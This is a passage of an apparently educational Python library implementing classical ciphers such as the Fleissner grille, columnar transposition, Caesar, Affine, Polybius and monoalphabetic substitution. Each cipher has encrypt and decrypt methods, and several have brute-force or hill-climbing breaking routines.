0\n 0 0 0 0\n 0 0 0 1\n key = [[0, 1, 0, 0], [1, 1, 0, 0], [0, 0, 0, 0], [0, 0, 0, 1]] ;\n \n alf : the alphabet to use.\n \"\"\"\n \n super().__init__('Fleissner', interface=interface)\n \n if type(key) not in (list, tuple, set):\n raise ValueError(tr('The argument \"key\" should be a list (a square matrix), but a \"{}\" was found !!!').format(type(key)))\n \n #------check if the key is a square matrix and get the size\n self.size = len(key)\n for j, k in enumerate(key):\n if type(k) not in (list, tuple, set):\n raise ValueError(tr('The argument \"key\" should be a list of lists (a square matrix), but \"key[{}]\" is a \"{}\" !!!').format(j, type(k)))\n \n if len(k) != self.size:\n raise ValueError(tr('The argument \"key\" should be a square matrix (list of lists), but \"key[{}]\" has not the same size as \"key\" !!!').format(j))\n \n #------define the self values\n self.L_key = [key]\n for k in range(3):\n self.L_key.append(self._right_turn_key(self.L_key[k]))\n \n self.n = self.size ** 2\n \n self.key = list(key)\n self.alf = alf\n \n \n def __repr__(self):\n \"\"\"Represent the Fleissner cipher object.\"\"\"\n \n ret_key = '\\n'\n for line in self.key:\n ret_key += '\\t'\n for k in line:\n ret_key += str(k) + ' '\n \n ret_key += '\\n'\n \n return \"Fleissner(alf='{}', interface='{}', key={})\".format(\n self.alf,\n self.interface,\n ret_key\n )\n \n \n def _right_turn_key(self, L):\n L2 = []\n for i in range(self.size):\n L2.append([])\n for j in range(self.size - 1, -1, -1):\n L2[i].append(L[j][i])\n\n return L2\n\n\n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' with the Fleissner cipher.\"\"\"\n \n txt_e = \"\"\n grid = \"\"\n \n while len(txt) % self.n != 0:\n txt += choice(self.alf)\n \n for i in range(0, len(txt), self.n):\n block = txt[i:i + self.n]\n grid = [\"\"] * self.n\n c = 0\n \n for j in range(4):\n L = self.L_key[j]\n \n for k in range(self.n):\n if L[k // self.size][k % self.size] in (1, '1'):\n grid[k] = block[c % len(block)]\n c += 1\n \n txt_e += \"\".join(grid)\n\n return txt_e\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Fleissner cipher.\"\"\"\n \n if len(txt) % self.n != 0:\n raise ValueError(tr('The length of the text is not a square number !!!'))\n \n txt_d = \"\"\n grid = \"\"\n \n for i in range(0, len(txt), self.n): # Cutting the text in blocks of length self.size²\n grid = txt[i:i + self.n]\n \n for j in range(4): # Four times because we turn the key four times\n L = self.L_key[j]\n \n for k in range(self.n):\n if L[k // self.size][k % self.size] in (1, '1'): # If there is a whole (1)\n txt_d += grid[k]\n \n return txt_d\n \n \n def gen_key(self, size):\n \"\"\"Generate a Fleissner key.\n In __init__, set the key to [] to generate a key : key = Fleissner([]).gen_key(size).\n \"\"\"\n \n if type(size) != int:\n raise ValueError(tr('The argument \"size\" should be an intenger, but \"{}\" of type \"{}\" was found !!!').format(size, type(size)))\n \n key = []\n \n for k in range(size):\n key.append([0]*size)\n \n for i in range(size // 2):\n for j in range(size // 2):\n r = randint(0,3)\n if r == 0:\n key[i][j] = 1\n elif r == 1:\n key[j][size-1-i] = 1\n elif r == 2:\n key[size-1-i][size-1-j] = 1\n else:\n key[size-1-j][i] = 1\n \n return key\n\n\nclass ColumnarTransposition(BaseCipher):\n \"\"\"Defining the columnar transposition cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, verbose=True, interface=None):\n \"\"\"Initiate the columnar transposition cipher.\n \n - key : the key. Should be a string, or a list ;\n - alf : the alphabet to use (to make the key). Default is alf_az ;\n - verbose : a boolean. If True, print the cipher's name in self.brute_force ;\n - interface : the interface using the class (used in BaseCipher).\n \"\"\"\n \n super().__init__(tr('Columnar transposition'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.alf = alf\n \n if type(key) not in (str, tuple, list, set) and key != None:\n raise ValueError(tr('The key should be a string, but \"{}\" of type \"{}\" was found !!!').format(key, type(key)))\n \n if key == None:\n self.key = None\n self.nc = None\n \n else:\n if type(key) == str:\n self.key = word_to_transposition_key(key, alf)\n else:\n self.key = key\n \n self.nc = len(self.key)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the columnar transposition cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n T = write_lines_c(txt, self.nc)\n c = \"\"\n \n for k in range(self.nc):\n i = self.key[k]\n \n for l in T:\n if len(l) > i:\n c += l[i]\n \n return c\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the columnar transposition cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n nl = len(txt) // self.nc\n r = len(txt) % self.nc\n \n T = []\n \n if r != 0:\n nl += 1\n \n for k in range(nl):\n if k == nl - 1 and r != 0:\n T.append([\"\"] * r)\n \n else:\n T.append([\"\"] * self.nc)\n \n for i in range(self.nc):\n j = self.key[i]\n \n for k in range(nl):\n if k != nl - 1 or r == 0 or j < r:\n T[k][j] = txt[0]\n txt = txt[1:len(txt)]\n \n return read_lines(T)\n \n \n def brute_force(self, txt):\n \"\"\"\n Return a dict of the from {k0 : d0, k1 : d1, ..., kn : dn}, \n where k is the key, and d the decrypted message with that key.\n \"\"\"\n \n if self.verbose:\n print(tr('Columnar transposition cipher'))\n print(tr('Method : Brute force (on all the keys of 9 letters)'))\n \n L = [0]\n brk = {}\n \n total = sum(fact(k) for k in range(1, 10)) * 9 # Is it the right amount ?\n \n for j in range(1, 10):\n L.append(j)\n \n for i, k in enumerate(itertools.permutations(L, j + 1)):\n brk[k] = ColumnarTransposition(k, self.alf).decrypt(txt)\n \n if i % 2**4 == 0:\n self.pb_set(i, total, bar='brk')\n\n self.pb_set(i, total, bar='brk')\n\n self.pb_set(i, total, bar='brk')\n \n return brk\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n # if self.verbose:\n # print('Columnar transposition\\nMethod : brute-force (on all the keys of 9 letters)')\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], k)\n \n return (False,)\n \n \n def gen_key(self, lth):\n \"\"\"\n Generate a Columnar transposition string key.\n \n - lth : the key's length.\n \"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\nclass UBCHI(BaseCipher):\n \"\"\"Defining the UBCHI cipher (double columnar transposition).\"\"\"\n \n def __init__(self, key=None, alf=alf_az, verbose=True, interface=None):\n \"\"\"Initiate the UBCHI cipher.\n \n - key : the key. Should be a string, or a list ;\n - alf : the alphabet to use (to make the key). Default is alf_az ;\n - verbose : a boolean. If True, print the cipher's name in self.brute_force ;\n - interface : the interface using the class (used in BaseCipher).\n \"\"\"\n \n super().__init__('UBCHI', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.alf = alf\n \n self.col_trans = ColumnarTransposition(key, self.alf, self.verbose, self.interface)\n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the UBCHI cipher.\"\"\"\n \n return self.col_trans.encrypt(self.col_trans.encrypt(txt))\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the UBCHI cipher.\"\"\"\n \n return self.col_trans.decrypt(self.col_trans.decrypt(txt))\n \n def brute_force(self, txt):\n \"\"\"\n Return a dict of the from {k0 : d0, k1 : d1, ..., kn : dn}, \n where k is the key, and d the decrypted message with that key.\n \"\"\"\n \n if self.verbose:\n print('UBCHI cipher')\n print(tr('Method : Brute force (on all the keys of 9 letters)'))\n \n L = [0]\n brk = {}\n \n total = sum(fact(k) for k in range(1, 10)) * 9 #todo: is it it ?\n \n for j in range(1, 10):\n L.append(j)\n \n for i, k in enumerate(itertools.permutations(L, j + 1)):\n brk[k] = UBCHI(k, self.alf).decrypt(txt)\n \n if i % 2**4 == 0:\n self.pb_set(i,total, bar='brk')\n\n self.pb_set(i,total, bar='brk')\n\n self.pb_set(i,total, bar='brk')\n \n return brk\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if self.verbose:\n print('UBCHI\\n' + tr('Method : brute-force (on all the keys of 9 letters)'))\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], k)\n \n return (False,)\n \n \n def gen_key(self, lth):\n \"\"\"Return an UBCHI string key (same as Columnar transposition key)\"\"\"\n \n return self.col_trans.gen_key(lth)\n\n\n##---substitution\n \n\n##-monoalphabetic\n\nclass Atbash(BaseCipher):\n \"\"\"Defining the Atbash code.\"\"\"\n \n def __init__(self, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Atbash code.\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Atbash', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n\n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n self.alf = alf\n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Atbash code\"\"\"\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n dct = gen_dic_ite(self.alf)\n alf_2 = \"\".join(reversed(self.alf))\n msg_c = ''\n \n for k in txt:\n if dct.get(k):\n msg_c += alf_2[dct[k]]\n \n elif not self.ignore:\n msg_c += k\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Atbash code.\"\"\"\n \n return self.encrypt(txt)\n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Atbash code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass Albam(BaseCipher):\n \"\"\"Defining the Albam code.\"\"\"\n \n def __init__(self, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Albam code.\n Cf to the Caesar class for more infos on the arguments.\n \"\"\"\n \n super().__init__('Albam', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.alf = alf\n \n self.caesar = Caesar(13, alf, ignore, self.verbose, self.interface)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Albam code.\"\"\"\n \n return self.caesar.encrypt(txt)\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Albam code.\"\"\"\n \n return self.encrypt(txt)\n \n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Albam code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass Achbi(BaseCipher):\n \"\"\"Definig the Achbi code.\"\"\"\n \n def __init__(self, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"Initiate the Achbi code.\"\"\"\n \n super().__init__('Achbi', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n self.alf = alf\n alf_1 = alf[:len(alf)//2][::-1] #[::-1] reverse the string.\n alf_2 = alf[len(alf)//2:][::-1]\n self.alf_c = alf_1 + alf_2\n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' with the Achbi code.\"\"\"\n \n return MonoSub(self.alf_c, self.alf, self.ignore, self.verbose, self.interface).encrypt(txt)\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' with the Achbi code.\"\"\"\n \n return self.encrypt(txt)\n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Achbi code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass Avgad(BaseCipher):\n \"\"\"Defining the Avgad code.\"\"\"\n \n def __init__(self, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Avgad code.\n Cf to the Caesar class for more info on the arguments.\n \"\"\"\n \n super().__init__('Avgad', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.alf = alf\n \n self.caesar = Caesar(1, self.alf, ignore, self.verbose, self.interface)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Avgad code.\"\"\"\n \n return self.caesar.encrypt(txt)\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Avgad code.\"\"\"\n \n return self.caesar.decrypt(txt)\n \n \n def break_(self, txt):\n \"\"\"Return self.decrypt(txt)\"\"\"\n \n return self.decrypt(txt)\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean\n something, to find out if the broken item makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Avgad code'))\n \n if brk == None:\n brk = self.break_(txt)\n \n if ver_plain_text(brk):\n return (True, brk)\n \n else:\n return (False,)\n\n\nclass Caesar(BaseCipher):\n \"\"\"\n Caesar's cipher is one of the most simple and famous ciphers. It is called after Julius Caesar who used it for his correspondence. The operation of Caesar's cipher consists in shifting the alphabet's letters. The key is then the difference between the place of an encrypted letter and the original place of this letter. For example, for a shift of value 3, A becomes D, T becomes W and Y becomes B. The deciphering is the opposite operation. Of course, that cipher is very weak and can be cracked easily with brute-force attack.\n \"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Caesar cipher.\n \n - key : the Caesar key. Should be an int, or a string. If it is a string,\n it should have a length of 1, and be in alf ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Caesar', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n self.alf = alf\n \n if key != None:\n if type(key) not in (int, str):\n raise ValueError(tr('The key must be either a string or an intenger, but \"{}\", of type \"{}\" was found !!!').format(key, type(key)))\n \n elif type(key) == str:\n if len(key) != 1:\n raise ValueError(tr('The key, if a string, must have a length of one, but \"{}\", of length {} was found !!!').format(key, len(key)))\n \n elif key not in alf:\n raise ValueError(tr('The key, if a string, should be contained in the alphabet !!!'))\n \n self.key = alf.index(key)\n \n else:\n self.key = key % 26\n \n else:\n self.key = None\n \n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Caesar cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n \n for k in txt:\n if k in self.alf:\n msg_c += self.alf[(self.alf.index(k) + self.key) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Caesar cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n key_d = self.lalf - self.key\n \n return Caesar(key_d, self.alf, self.ignore, self.verbose, self.interface).encrypt(txt)\n \n \n def brute_force(self, txt):\n \"\"\"\n Return a dict of the from {'alf' : alf, k0 : d0, k1 : d1, ..., k26 : d26}, \n where k is the key, and d the decrypted message with that key.\n \"\"\"\n \n if self.verbose:\n print(tr('Caesar cipher'))\n print(tr('Method : brute-force'))\n \n brk = {'alf' : self.alf}\n for k in range(1, len(self.alf) + 1):\n brk[k] = Caesar(k, self.alf, interface=self.interface).decrypt(txt)\n \n return brk\n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Caesar cipher'))\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], k, 1, brk['alf'])\n \n return (False,)\n \n \n def gen_key(self):\n \"\"\"Return a random number in [1 ; 25].\"\"\"\n \n return randint(1, 25)\n\n\nclass Affine(BaseCipher):\n \"\"\"\n Affine cipher is a mono-alphabetic substitution cipher in which each letter converted to its place in the alphabet is encrypted using the affine function then converted back to a letter. The coefficients a and b in the function affine f(x) = ax + b form the key. To be able to decrypt, a and the length of the alphabet have to be coprime.\n Affine cipher is very weak because it may be broken by brute force. Indeed, there are only 12 * 26 = 312 possible keys.\n \"\"\"\n\n def __init__(self, keyA=None, keyB=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Affine cipher.\n \n The key is of the form `y = (ax + b) mod 26`, where `x` is the position\n of the letter in the alphabet. `y` is the final position in the alphabet.\n `a` and len(alf) must be co-prime.\n \n - keyA : the `a` part of the key. Should be an int, or None to brute-force it ;\n - keyB : the `b` part of the key. Should be an int, or None to brute-force it ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Affine', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n self.alf = alf\n self.lalf = len(alf)\n \n if keyA == keyB == None:\n self.keyA = None\n self.keyB = None\n \n elif keyA != keyB == None or keyB != keyA == None:\n raise ValueError(tr('The keys `a` and `b` should be both None (to brute-force a message), or both intengers, but only one was None !!!'))\n \n elif type(keyA) != int or type(keyB) != int:\n raise ValueError(tr('The keys should be intengers (or None to brute-force a message) !!!'))\n\n elif gcd(keyA, self.lalf) != 1:\n raise ValueError(tr(\"The key `a` must be co-prime with the alphabet's length !!!\"))\n \n else:\n self.keyA = keyA\n self.keyB = keyB\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Affine cipher.\"\"\"\n \n if None in (self.keyA, self.keyB):\n raise ValueError(tr(\"Can't encrypt with empty keys !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n \n for k in txt:\n if k in self.alf:\n msg_c += self.alf[(self.alf.index(k) * self.keyA + self.keyB) % self.lalf]\n \n elif not self.ignore:\n msg_c += k\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Affine cipher.\"\"\"\n \n if None in (self.keyA, self.keyB):\n raise ValueError(\"Can't decrypt with empty keys !!!\")\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n keyA = mult_inverse(self.keyA, self.lalf)\n \n msg_d = ''\n \n for k in txt:\n if k in self.alf:\n msg_d += self.alf[((self.alf.index(k) - self.keyB) * keyA) % self.lalf]\n \n elif not self.ignore:\n msg_d += k\n \n return msg_d\n \n \n def _get_bf_lth(self, lth=26):\n \"\"\"\n Return the number of iteration the method 'brute_force' will have to\n do, for the progress bar.\n \"\"\"\n \n n = 0\n \n for a in range(lth):\n if gcd(a, lth) == 1:\n for b in range(lth):\n n += 1\n \n return n\n \n \n def brute_force(self, txt):\n \"\"\"\n Return a dict of the from {(ka0, kb0) : d0, (ka1, kb1) : d1, ..., (kan, kbn) : dn}, \n where k is the key, and d the decrypted message with that key.\n \"\"\"\n \n if self.verbose:\n print(tr('Affine cipher'))\n print(tr('Method : brute-force'))\n \n lth = self._get_bf_lth(self.lalf)\n i = 0\n \n brk = {'alf' : self.alf}\n for kA in range(self.lalf):\n if gcd(kA, self.lalf) == 1:\n for kB in range(self.lalf):\n brk[(kA, kB)] = Affine(kA, kB, self.alf).decrypt(txt)\n \n self.pb_set(i, lth, 'brk')\n i +=1\n \n return brk\n \n \n def meaning(self, txt, brk=None):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if self.verbose:\n print(tr('Affine cipher') + '\\n' + tr('Method : brute-force'))\n \n if brk == None:\n brk = self.brute_force(txt)\n \n for k in brk:\n if ver_plain_text(brk[k]):\n return (True, brk[k], *k, brk['alf'])\n \n return (False,)\n \n \n def gen_key(self):\n \"\"\"\n Return affine keys, according to self.lalf, in a tuple of the form :\n (kA, kB).\n \"\"\"\n \n kA = 0\n while gcd(kA, self.lalf) != 1:\n kA = randint(1, self.lalf)\n \n kB = randint(1, self.lalf)\n \n return (kA, kB)\n\n \nclass Polybius(BaseCipher):\n \"\"\"Defining the Polybius square code.\"\"\"\n \n def __init__(self, key='', indexes='12345', alf=alf_25, space=True, verbose=True, interface=None):\n \"\"\"\n Initiate the Polybius square code.\n \n - key : the string used in 'word_to_square'. Default is '' ;\n - indexes : the list of the indexes for the square. Default are '12345' ;\n - alf the alphabet to use. Defaut is alf_25, which is alf_az without 'j' ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return ;\n - space : a boolean which indicate if there is spaces between the encoded letters.\n \"\"\"\n \n super().__init__(tr('Polybius'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n \n if len(indexes) not in (5, 6):\n raise ValueError(tr('The length of \"indexes\" should be of 5 or 6, but it has a length of \"{}\" !!!').format(len(indexes)))\n\n if len(alf) == 36 and indexes == '12345':\n indexes = '123456'\n \n self.size = len(indexes)\n self.square = word_to_square(key, self.size)\n self.ind = tuple(list(indexes))\n if len(alf) != 36 and len(alf) != 25:\n self.alf = 'abcdefghiklmnopqrstuvwxyz'\n else:\n self.alf = alf\n self.space = space\n \n self.d_e = {}\n for a, i in enumerate(self.square):\n for b, j in enumerate(i):\n self.d_e[j] = self.ind[a] + self.ind[b]\n \n self.d_d = {} #Same dict, but keys/values reversed.\n for k in self.d_e:\n self.d_d[self.d_e[k]] = k\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Polybius square code.\"\"\"\n \n txt = msgform(txt, 'all', False, False, self.alf, False)\n \n msg_c = ''\n \n for k in txt:\n if k in self.d_e:\n msg_c += self.d_e[k] \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n if self.space:\n msg_c = space(msg_c, 2)\n \n return msg_c\n \n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Polybius square code.\"\"\"\n \n msg_d = ''\n \n if not self.space:\n txt = space(txt, 2)\n \n txt = txt.split(' ')\n \n for k in txt:\n if k in self.d_d:\n msg_d += self.d_d[k] \n else:\n print(tr('Unknown encrypted group \"{}\" !').format(k))\n \n return msg_d\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n\n\nclass MonoSub(BaseCipher):\n \"\"\"Define the Monoalphabetic substitution cipher.\"\"\"\n \n def __init__(self, key=None, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Monoalphabetic substitution cipher.\n \n - key : the MonoSub key. Should be a string, or a list ;\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__(tr('Monoalphabetic substitution'), interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n \n if key != None:\n if type(key) not in (str, list, tuple, set):\n raise ValueError(tr('The key should be a string, or a list, but \"{}\" of type \"{}\" was found !!!').format(key, type(key)))\n\n self.alf_c = generate_alphabet_word(key, alf)\n \n self.key = key\n \n self.alf = alf\n self.lalf = len(alf)\n \n \n def encrypt(self, txt):\n \"\"\"Encrypt 'txt' using the Monoalphabetic substitution cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't encrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_c = ''\n \n for k in txt:\n if k in self.alf:\n msg_c += self.alf_c[self.alf.index(k)]\n \n elif not self.ignore:\n msg_c += k\n \n elif self.verbose:\n print(tr('Omitting \"{}\" because it is not in the alphabet !').format(k))\n \n return msg_c\n \n def decrypt(self, txt):\n \"\"\"Decrypt 'txt' using the Monoalphabetic substitution cipher.\"\"\"\n \n if self.key == None:\n raise ValueError(tr(\"Can't decrypt with an empty key !!!\"))\n \n txt = msgform(txt, 'all', not(self.ignore), not(self.ignore), self.alf, not(self.ignore))\n \n msg_d = ''\n \n for k in txt:\n if k in self.alf:\n msg_d += self.alf[self.alf_c.index(k)]\n \n elif not self.ignore:\n msg_d += k\n \n elif self.verbose:\n print(tr('Unknown \"{}\" ! (try ignore=False)').format(k))\n \n return msg_d\n \n \n def gen_key(self, lth):\n \"\"\"Return a random string of length lth.\"\"\"\n \n key = ''\n for k in range(lth):\n key += choice(self.alf)\n \n return key\n \n \n def break_(self, txt, n=10**4, alea=False):\n \"\"\"\n Try to get the decryption of 'txt' without the key.\n \n - txt : the text to break ;\n - n : the number of tries ;\n - alea : a boolean which indicates if use some random values.\n \n Return :\n txt_brk, key, score.\n \"\"\"\n \n if self.verbose:\n print(tr('Monoalphabetic substitution cipher'))\n print(tr('Method : Hill-climbing'))\n \n f_ana = FreqAna().ana(txt)\n key = list(alf_az)\n alf = str(alf_az) #todo: take the self.alf ? + take FreqAna.comp ?\n freq = 'easintrulodcpmvqgfhbjxyzkw' #todo: change if english or french.\n \n for j, k in enumerate(f_ana):\n a = key.index(k[0])\n b = alf.index(freq[j])\n key[a], key[b] = key[b], key[a]\n \n txt2 = MonoSub(key, ignore=self.ignore, interface=self.interface).decrypt(txt)\n print('\\n---------\\n{}\\n---------\\n'.format(txt2))\n \n score = prob_plain_text(txt2)\n \n for k in range(n):\n key_2 = key.copy()\n \n for i in range((1, randint(0, 25))[alea]):\n a = randint(0, 25)\n b = randint(0, 25)\n \n if a == b:\n b = (b + 1) % 26\n \n key_2[a], key_2[b] = key_2[b], key_2[a]\n \n txt3 = MonoSub(key_2, ignore=self.ignore, interface=self.interface).decrypt(txt)\n s2 = prob_plain_text(txt3)\n \n if s2 > score:\n print('score : {score}')\n key = key_2\n score = s2\n txt2 = txt3\n \n \n return txt2, ''.join(key), score\n \n \n def meaning(self, txt, brk=None, n=10**4, alea=False):\n \"\"\"\n Use the function 'ver_plain_text', which search if the text mean \n something, to find out if an item in the break list makes sense.\n \"\"\"\n \n if brk == None:\n txt_brk, key, score = self.break_(txt, n, alea)\n \n else:\n txt_brk, key, score = brk\n\n if ver_plain_text(txt_brk, False):\n return (True, txt_brk, ''.join(key))\n \n else:\n print(txt_brk, score)\n return (False,)\n\n\n\n##-polyalphabetic\n\nclass Tritheme(BaseCipher):\n \"\"\"Class defining the Tritheme cipher.\"\"\"\n \n def __init__(self, alf=alf_az, ignore=False, verbose=True, interface=None):\n \"\"\"\n Initiate the Tritheme cipher.\n - alf : the alphabet to use ;\n - ignore : a boolean which indicates what to do if a character of txt (in\n encrypt / decrypt) is not in the alphabet :\n if False, add the character not encrypted (usefull to keep spaces with alf_az),\n else, don't add the character to the return.\n \"\"\"\n \n super().__init__('Tritheme', interface=interface)\n \n if verbose not in (0, 1):\n raise ValueError(tr('\"verbose\" arg should be a boolean !!!'))\n \n if ignore not in (0, 1):\n raise ValueError(tr('\"ignore\" arg should be a boolean !!!'))\n \n self.verbose = verbose\n self.ignore = ignore\n self.alf = alf\n self.lalf = len(alf)\n\n\n def 